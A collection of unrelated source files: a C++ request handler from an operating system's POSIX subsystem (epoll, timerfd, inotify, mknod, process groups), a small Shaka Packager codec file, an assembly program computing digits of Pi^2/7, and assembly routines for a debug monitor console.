if(req.events(i) & POLLHUP) mask |= EPOLLHUP;
// addItem() can fail with EEXIST but we check for duplicate FDs above
// so that cannot happen here.
Error ret = epoll::addItem(epfile.get(), self.get(),
std::move(locked), req.fds(i), mask, req.fds(i));
assert(ret == Error::success);
}
if(errorOut)
continue;
struct epoll_event events[16];
size_t k;
if(req.timeout() < 0) {
k = co_await epoll::wait(epfile.get(), events, 16);
}else if(!req.timeout()) {
// Do not bother to set up a timer for zero timeouts.
async::cancellation_event cancel_wait;
cancel_wait.cancel();
k = co_await epoll::wait(epfile.get(), events, 16, cancel_wait);
}else{
assert(req.timeout() > 0);
async::cancellation_event cancel_wait;
helix::TimeoutCancellation timer{static_cast<uint64_t>(req.timeout()), cancel_wait};
k = co_await epoll::wait(epfile.get(), events, 16, cancel_wait);
co_await timer.retire();
}
// Assigned the returned events to each FD.
for(size_t j = 0; j < k; ++j) {
auto it = fdsToEvents.find(events[j].data.fd);
assert(it != fdsToEvents.end());
// Translate EPOLL events back to POLL events.
assert(!it->second);
if(events[j].events & EPOLLIN) it->second |= POLLIN;
if(events[j].events & EPOLLOUT) it->second |= POLLOUT;
if(events[j].events & EPOLLPRI) it->second |= POLLPRI;
if(events[j].events & EPOLLRDHUP) it->second |= POLLRDHUP;
if(events[j].events & EPOLLERR) it->second |= POLLERR;
if(events[j].events & EPOLLHUP) it->second |= POLLHUP;
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
for(size_t i = 0; i < req.fds_size(); ++i) {
auto it = fdsToEvents.find(req.fds(i));
assert(it != fdsToEvents.end());
resp.add_events(it->second);
}
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::EPOLL_CREATE) {
if(logRequests)
std::cout << "posix: EPOLL_CREATE" << std::endl;
helix::SendBuffer send_resp;
assert(!(req.flags() & ~(managarm::posix::OpenFlags::OF_CLOEXEC)));
auto file = epoll::createFile();
auto fd = self->fileContext()->attachFile(file,
req.flags() & managarm::posix::OpenFlags::OF_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::EPOLL_ADD) {
if(logRequests)
std::cout << "posix: EPOLL_ADD" << std::endl;
helix::SendBuffer send_resp;
auto epfile = self->fileContext()->getFile(req.fd());
auto file = self->fileContext()->getFile(req.newfd());
if(!file || !epfile) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
auto locked = file->weakFile().lock();
assert(locked);
Error ret = epoll::addItem(epfile.get(), self.get(),
std::move(locked), req.newfd(), req.flags(), req.cookie());
if(ret == Error::alreadyExists) {
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}
assert(ret == Error::success);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::EPOLL_MODIFY) {
if(logRequests)
std::cout << "posix: EPOLL_MODIFY" << std::endl;
helix::SendBuffer send_resp;
auto epfile = self->fileContext()->getFile(req.fd());
auto file = self->fileContext()->getFile(req.newfd());
assert(epfile && "Illegal FD for EPOLL_MODIFY");
assert(file && "Illegal FD for EPOLL_MODIFY item");
Error ret = epoll::modifyItem(epfile.get(), file.get(), req.newfd(),
req.flags(), req.cookie());
if(ret == Error::noSuchFile) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
}
assert(ret == Error::success);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::EPOLL_DELETE) {
if(logRequests)
std::cout << "posix: EPOLL_DELETE" << std::endl;
helix::SendBuffer send_resp;
auto epfile = self->fileContext()->getFile(req.fd());
auto file = self->fileContext()->getFile(req.newfd());
if(!epfile || !file) {
std::cout << "posix: Illegal FD for EPOLL_DELETE" << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
Error ret = epoll::deleteItem(epfile.get(), file.get(), req.newfd(), req.flags());
if(ret == Error::noSuchFile) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
}
assert(ret == Error::success);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::EPOLL_WAIT) {
if(logRequests)
std::cout << "posix: EPOLL_WAIT request" << std::endl;
helix::SendBuffer send_resp;
helix::SendBuffer send_data;
uint64_t former = self->signalMask();
auto epfile = self->fileContext()->getFile(req.fd());
if(!epfile) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
if(req.sigmask_needed()) {
self->setSignalMask(req.sigmask());
}
struct epoll_event events[16];
size_t k;
if(req.timeout() < 0) {
k = co_await epoll::wait(epfile.get(), events,
std::min(req.size(), uint32_t(16)));
}else if(!req.timeout()) {
// Do not bother to set up a timer for zero timeouts.
async::cancellation_event cancel_wait;
cancel_wait.cancel();
k = co_await epoll::wait(epfile.get(), events,
std::min(req.size(), uint32_t(16)), cancel_wait);
}else{
assert(req.timeout() > 0);
async::cancellation_event cancel_wait;
helix::TimeoutCancellation timer{static_cast<uint64_t>(req.timeout()), cancel_wait};
k = co_await epoll::wait(epfile.get(), events, 16, cancel_wait);
co_await timer.retire();
}
if(req.sigmask_needed()) {
self->setSignalMask(former);
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size(), kHelItemChain),
helix::action(&send_data, events, k * sizeof(struct epoll_event)));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::TIMERFD_CREATE) {
if(logRequests)
std::cout << "posix: TIMERFD_CREATE" << std::endl;
helix::SendBuffer send_resp;
assert(!(req.flags() & ~(TFD_CLOEXEC | TFD_NONBLOCK)));
auto file = timerfd::createFile(req.flags() & TFD_NONBLOCK);
auto fd = self->fileContext()->attachFile(file, req.flags() & TFD_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::TIMERFD_SETTIME) {
if(logRequests)
std::cout << "posix: TIMERFD_SETTIME" << std::endl;
helix::SendBuffer send_resp;
auto file = self->fileContext()->getFile(req.fd());
assert(file && "Illegal FD for TIMERFD_SETTIME");
timerfd::setTime(file.get(),
{static_cast<time_t>(req.time_secs()), static_cast<long>(req.time_nanos())},
{static_cast<time_t>(req.interval_secs()), static_cast<long>(req.interval_nanos())});
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::SIGNALFD_CREATE) {
if(logRequests)
std::cout << "posix: SIGNALFD_CREATE" << std::endl;
helix::SendBuffer send_resp;
if(req.flags() & ~(managarm::posix::OpenFlags::OF_CLOEXEC
| managarm::posix::OpenFlags::OF_NONBLOCK)) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
auto file = createSignalFile(req.sigset(),
req.flags() & managarm::posix::OpenFlags::OF_NONBLOCK);
auto fd = self->fileContext()->attachFile(file,
req.flags() & managarm::posix::OpenFlags::OF_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::InotifyCreateRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::InotifyCreateRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: INOTIFY_CREATE" << std::endl;
assert(!(req->flags() & ~(managarm::posix::OpenFlags::OF_CLOEXEC)));
auto file = inotify::createFile();
auto fd = self->fileContext()->attachFile(file,
req->flags() & managarm::posix::OpenFlags::OF_CLOEXEC);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::InotifyAddRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::InotifyAddRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
managarm::posix::SvrResponse resp;
if(logRequests || logPaths)
std::cout << "posix: INOTIFY_ADD" << req->path() << std::endl;
auto ifile = self->fileContext()->getFile(req->fd());
if(!ifile) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
self->fsContext()->getWorkingDirectory(), req->path());
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto wd = inotify::addWatch(ifile.get(), resolver.currentLink()->getTarget(),
req->flags());
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_wd(wd);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::EventfdCreateRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::EventfdCreateRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: EVENTFD_CREATE" << std::endl;
managarm::posix::SvrResponse resp;
if (req->flags() & ~(managarm::posix::OpenFlags::OF_CLOEXEC | managarm::posix::OpenFlags::OF_NONBLOCK)) {
std::cout << "posix: invalid flag specified (EFD_SEMAPHORE?)" << std::endl;
std::cout << "posix: flags specified: " << req->flags() << std::endl;
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
} else {
auto file = eventfd::createFile(req->initval(), req->flags() & managarm::posix::OpenFlags::OF_NONBLOCK);
auto fd = self->fileContext()->attachFile(file,
req->flags() & managarm::posix::OpenFlags::OF_CLOEXEC);
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_fd(fd);
}
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::MknodAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::MknodAtRequest>(recv_head, tail);
if(!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: MKNODAT for path " << req->path() << " with mode " << req->mode() << " and device " << req->device() << std::endl;
managarm::posix::SvrResponse resp;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
if(!req->path().size()) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
if(req->dirfd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->dirfd());
if(!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
auto resolveResult = co_await resolver.resolve(resolvePrefix);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto parent = resolver.currentLink()->getTarget();
auto existsResult = co_await parent->getLink(resolver.nextComponent());
assert(existsResult);
auto exists = existsResult.value();
if(exists) {
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}
VfsType type;
DeviceId dev;
if(S_ISDIR(req->mode())) {
type = VfsType::directory;
} else if(S_ISCHR(req->mode())) {
type = VfsType::charDevice;
} else if(S_ISBLK(req->mode())) {
type = VfsType::blockDevice;
} else if(S_ISREG(req->mode())) {
type = VfsType::regular;
} else if(S_ISFIFO(req->mode())) {
type = VfsType::fifo;
} else if(S_ISLNK(req->mode())) {
type = VfsType::symlink;
} else if(S_ISSOCK(req->mode())) {
type = VfsType::socket;
} else {
type = VfsType::null;
}
if(type == VfsType::charDevice || type == VfsType::blockDevice) {
dev.first = major(req->device());
dev.second = minor(req->device());
auto result = co_await parent->mkdev(resolver.nextComponent(), type, dev);
if(!result) {
if(result.error() == Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else {
std::cout << "posix: Unexpected failure from mkdev()" << std::endl;
co_return;
}
}
} else if(type == VfsType::fifo) {
auto result = co_await parent->mkfifo(resolver.nextComponent(), req->mode());
if(!result) {
if(result.error() == Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else {
std::cout << "posix: Unexpected failure from mkfifo()" << std::endl;
co_return;
}
}
} else if(type == VfsType::socket) {
auto result = co_await parent->mksocket(resolver.nextComponent());
if(!result) {
if(result.error() == Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else {
std::cout << "posix: Unexpected failure from mksocket()" << std::endl;
co_return;
}
}
} else {
// TODO: Handle regular files.
std::cout << "\e[31mposix: Creating regular files with mknod is not supported.\e[39m" << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
resp.set_error(managarm::posix::Errors::SUCCESS);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::GetPgidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetPgidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_PGID" << std::endl;
std::shared_ptr<Process> target;
if(req->pid()) {
target = Process::findProcess(req->pid());
if(!target) {
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_RESOURCE);
continue;
}
} else {
target = self;
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_pid(target->pgPointer()->getHull()->getPid());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::SetPgidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::SetPgidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: SET_PGID" << std::endl;
std::shared_ptr<Process> target;
if(req->pid()) {
target = Process::findProcess(req->pid());
if(!target) {
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_RESOURCE);
continue;
}
} else {
target = self;
}
if(target->pgPointer()->getSession() != self->pgPointer()->getSession()) {
co_await sendErrorResponse(managarm::posix::Errors::INSUFFICIENT_PERMISSION);
continue;
}
// We can't change the process group ID of the session leader
if(target->pid() == target->pgPointer()->getSession()->getSessionId()) {
co_await sendErrorResponse(managarm::posix::Errors::INSUFFICIENT_PERMISSION);
continue;
}
if(target->getParent()->pid() == self->pid()) {
if(target->didExecute()) {
co_await sendErrorResponse(managarm::posix::Errors::ACCESS_DENIED);
continue;
}
}
std::shared_ptr<ProcessGroup> group;
// If pgid is 0, we're going to set it to the calling process's pid, use the target group.
if(req->pgid()) {
group = target->pgPointer()->getSession()->getProcessGroupById(req->pgid());
} else {
group = target->pgPointer();
}
if(group) {
// Found, do permission checking and join
group->reassociateProcess(target.get());
} else {
// Not found, making it if pgid and pid match, or if pgid is 0, indicating that we should make one
if(target->pid() == req->pgid() || !req->pgid()) {
target->pgPointer()->getSession()->spawnProcessGroup(target.get());
} else {
// Doesn't exists, and not requesting a make?
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_RESOURCE);
continue;
}
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::GetSidRequest::message_id) {
auto req = bragi::parse_head_only<managarm::posix::GetSidRequest>(recv_head);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: GET_SID on pid " << req->pid() << std::endl;
std::shared_ptr<Process> target;
if(req->pid()) {
target = Process::findProcess(req->pid());
if(!target) {
co_await sendErrorResponse(managarm::posix::Errors::NO_SUCH_RESOURCE);
continue;
}
} else {
target = self;
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
resp.set_pid(target->pgPointer()->getSession()->getSessionId());
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else{
std::cout << "posix: Illegal request" << std::endl;
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::ILLEGAL_REQUEST);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}
}
if(logCleanup)
std::cout << "\e[33mposix: Exiting serveRequests()\e[39m" << std::endl;
generation->requestsDone.raise();
}
async::result<void> serve(std::shared_ptr<Process> self, std::shared_ptr<Generation> generation) {
auto thread = self->threadDescriptor();
std::array<char, 16> creds;
HEL_CHECK(helGetCredentials(thread.getHandle(), 0, creds.data()));
auto res = globalCredentialsMap.insert({creds, self});
assert(res.second);
co_await async::when_all(
observeThread(self, generation),
serveSignals(self, generation),
serveRequests(self, generation)
);
}
// --------------------------------------------------------
namespace {
async::oneshot_event foundKerncfg;
helix::UniqueLane kerncfgLane;
};
struct CmdlineNode final : public procfs::RegularNode {
async::result<std::string> show() override {
helix::Offer offer;
helix::SendBuffer send_req;
helix::RecvInline recv_resp;
helix::RecvInline recv_cmdline;
managarm::kerncfg::CntRequest req;
req.set_req_type(managarm::kerncfg::CntReqType::GET_CMDLINE);
auto ser = req.SerializeAsString();
auto &&transmit = helix::submitAsync(kerncfgLane, helix::Dispatcher::global(),
helix::action(&offer, kHelItemAncillary),
helix::action(&send_req, ser.data(), ser.size(), kHelItemChain),
helix::action(&recv_resp, kHelItemChain),
helix::action(&recv_cmdline));
co_await transmit.async_wait();
HEL_CHECK(offer.error());
HEL_CHECK(send_req.error());
HEL_CHECK(recv_resp.error());
HEL_CHECK(recv_cmdline.error());
managarm::kerncfg::SvrResponse resp;
resp.ParseFromArray(recv_resp.data(), recv_resp.length());
assert(resp.error() == managarm::kerncfg::Error::SUCCESS);
co_return std::string{(const char *)recv_cmdline.data(), recv_cmdline.length()} + '\n';
}
async::result<void> store(std::string) override {
throw std::runtime_error("Cannot store to /proc/cmdline");
}
};
async::result<void> enumerateKerncfg() {
auto root = co_await mbus::Instance::global().getRoot();
auto filter = mbus::Conjunction({
mbus::EqualsFilter("class", "kerncfg")
});
auto handler = mbus::ObserverHandler{}
.withAttach([] (mbus::Entity entity, mbus::Properties properties) -> async::detached {
std::cout << "POSIX: Found kerncfg" << std::endl;
kerncfgLane = helix::UniqueLane(co_await entity.bind());
foundKerncfg.raise();
});
co_await root.linkObserver(std::move(filter), std::move(handler));
co_await foundKerncfg.wait();
auto procfs_root = std::static_pointer_cast<procfs::DirectoryNode>(getProcfs()->getTarget());
procfs_root->directMkregular("cmdline", std::make_shared<CmdlineNode>());
}
// --------------------------------------------------------
// main() function
// --------------------------------------------------------
async::detached runInit() {
co_await enumerateKerncfg();
co_await clk::enumerateTracker();
async::detach(net::enumerateNetserver());
co_await populateRootView();
co_await Process::init("sbin/posix-init");
}
int main() {
std::cout << "Starting posix-subsystem" << std::endl;
// HEL_CHECK(helSetPriority(kHelThisThread, 1));
{
async::queue_scope scope{helix::globalQueue()};
drvcore::initialize();
charRegistry.install(createHeloutDevice());
charRegistry.install(pts::createMasterDevice());
charRegistry.install(createNullDevice());
charRegistry.install(createFullDevice());
charRegistry.install(createRandomDevice());
charRegistry.install(createUrandomDevice());
charRegistry.install(createZeroDevice());
block_subsystem::run();
drm_subsystem::run();
input_subsystem::run();
pci_subsystem::run();
runInit();
}
async::run_forever(helix::globalQueue()->run_token(), helix::currentDispatcher);
}
|
// Copyright 2016 Google Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
#include "packager/media/codecs/decoder_configuration_record.h"
namespace shaka {
namespace media {
DecoderConfigurationRecord::DecoderConfigurationRecord() = default;
DecoderConfigurationRecord::~DecoderConfigurationRecord() = default;
bool DecoderConfigurationRecord::Parse(const uint8_t* data, size_t data_size) {
data_.assign(data, data + data_size);
nalu_.clear();
return ParseInternal();
}
void DecoderConfigurationRecord::AddNalu(const Nalu& nalu) {
nalu_.push_back(nalu);
}
} // namespace media
} // namespace shaka
|
; A195056: Decimal expansion of Pi^2/7.
; Submitted by Jon Maiga
; 1,4,0,9,9,4,3,4,8,5,8,6,9,9,0,8,3,7,4,1,1,9,2,1,2,9,9,9,9,8,2,3,0,7,3,0,5,0,4,4,8,1,4,2,0,1,0,3,4,3,9,8,6,6,0,9,1,6,1,9,2,7,6,8,0,3,1,4,3,4,9,7,4,6,3,1,3,1,5,0,3,4,7,1,4,5,3,9,0,5,7,6,7,4,0,7,8,8,9,0
add $0,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
pow $1,2
mul $1,2
div $1,35
pow $2,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
; debug monitor console routines
; print a string to the monitor
; inputs:
; r0: pointer to null-terminated string
; outputs:
print_string_to_monitor:
push r0
push r3
mov r3, r0
print_string_to_monitor_loop:
movz.8 r0, [r3]
call print_character_to_monitor
inc r3
cmp.8 [r3], 0x00
ifnz jmp print_string_to_monitor_loop
call redraw_monitor_console_line
pop r3
pop r0
ret
; print a hex word to the monitor
; inputs:
; r0: value
; outputs:
print_hex_word_to_monitor:
push r10
push r11
push r12
push r31
mov r10, r0
mov r31, 8
print_hex_word_to_monitor_loop:
rol r10, 4
movz.16 r11, r10
and r11, 0x0F
mov r12, draw_hex_generic_characters
add r12, r11
movz.8 r0, [r12]
call print_character_to_monitor
add r1, r6
loop print_hex_word_to_monitor_loop
call redraw_monitor_console_line
pop r31
pop r12
pop r11
pop r10
ret
; print a hex byte to the monitor
; inputs:
; r0: value
; outputs:
print_hex_byte_to_monitor:
push r10
push r11
push r12
push r31
movz.8 r10, r0
mov r31, 2
print_hex_byte_to_monitor_loop:
rol.8 r10, 4
movz.16 r11, r10
and r11, 0x0F
mov r12, draw_hex_generic_characters
add r12, r11
movz.8 r0, [r12]
call print_character_to_monitor
add r1, r6
loop print_hex_byte_to_monitor_loop
call redraw_monitor_console_line
pop r31
pop r12
pop r11
pop r10
ret
; print a single character to the monitor
; inputs:
; r0: character
; outputs:
; none
print_character_to_monitor:
push r0
push r1
push r2
cmp.8 r0, 0 ; null
ifz jmp print_character_to_monitor_end
cmp.8 r0, 8 ; backspace
ifz jmp print_character_to_monitor_bs
cmp.8 r0, 10 ; line feed
ifz jmp print_character_to_monitor_lf
cmp.8 r0, 13 ; carriage return
ifz jmp print_character_to_monitor_cr
; check if we are at the end of this line
cmp.8 [MONITOR_CONSOLE_X], MONITOR_CONSOLE_X_SIZE
; if so, increment to the next line
ifgteq mov.8 [MONITOR_CONSOLE_X], 0
ifgteq inc.8 [MONITOR_CONSOLE_Y]
; check if we need to scroll the display
cmp.8 [MONITOR_CONSOLE_Y], MONITOR_CONSOLE_Y_SIZE
ifgteq call scroll_monitor_console
; calculate coords for character...
movz.8 r1, [MONITOR_CONSOLE_X]
movz.8 r2, [MONITOR_CONSOLE_Y]
mul r2, MONITOR_CONSOLE_X_SIZE
add r1, r2
add r1, MONITOR_CONSOLE_TEXT_BUF
; ...and print!!
mov.8 [r1], r0
inc.8 [MONITOR_CONSOLE_X]
jmp print_character_to_monitor_end
print_character_to_monitor_cr:
; return to the beginning of the line
mov.8 [MONITOR_CONSOLE_X], 0
jmp print_character_to_monitor_end
print_character_to_monitor_lf:
; return to the beginning of the line and increment the line
mov.8 [MONITOR_CONSOLE_X], 0
inc.8 [MONITOR_CONSOLE_Y]
; scroll the display if needed
cmp.8 [MONITOR_CONSOLE_Y], MONITOR_CONSOLE_Y_SIZE
ifgteq call scroll_monitor_console
jmp print_character_to_monitor_end
print_character_to_monitor_bs:
; go back one character
cmp.8 [MONITOR_CONSOLE_X], 0
ifnz dec.8 [MONITOR_CONSOLE_X]
print_character_to_monitor_end:
pop r2
pop r1
pop r0
ret
; scroll the console
; inputs:
; none
; outputs:
; none
; FIXME: this shouldnt have hard coded values
; also this is extremely slow and bad
scroll_monitor_console:
push r0
push r1
push r2
push r31
; source
mov r0, MONITOR_CONSOLE_TEXT_BUF
add r0, MONITOR_CONSOLE_X_SIZE
; destination
mov r1, MONITOR_CONSOLE_TEXT_BUF
; size
mov r2, MONITOR_CONSOLE_X_SIZE
mul r2, 28
div r2, 4
call copy_memory_words
mov.8 [MONITOR_CONSOLE_X], 0
mov.8 [MONITOR_CONSOLE_Y], 28
; clear the last line
mov r0, MONITOR_CONSOLE_TEXT_BUF
add r0, 2240 ; 80 * 28
mov r31, MONITOR_CONSOLE_X_SIZE
scroll_monitor_console_clear_loop:
mov.8 [r0], 0
inc r0
loop scroll_monitor_console_clear_loop
; redraw the screen
call redraw_monitor_console
pop r31
pop r2
pop r1
pop r0
ret
; redraw the whole console
; inputs:
; none
; outputs:
; none
redraw_monitor_console:
push r0
push r1
push r2
push r3
push r4
push r5
push r6
push r31
mov r0, MONITOR_CONSOLE_TEXT_BUF
mov r1, 0
mov r2, 16
mov r3, TEXT_COLOR
mov r4, MONITOR_BACKGROUND_COLOR
mov r5, 31
mov r31, MONITOR_CONSOLE_Y_SIZE
redraw_monitor_console_loop_y:
push r31
mov r1, 0
mov r31, MONITOR_CONSOLE_X_SIZE
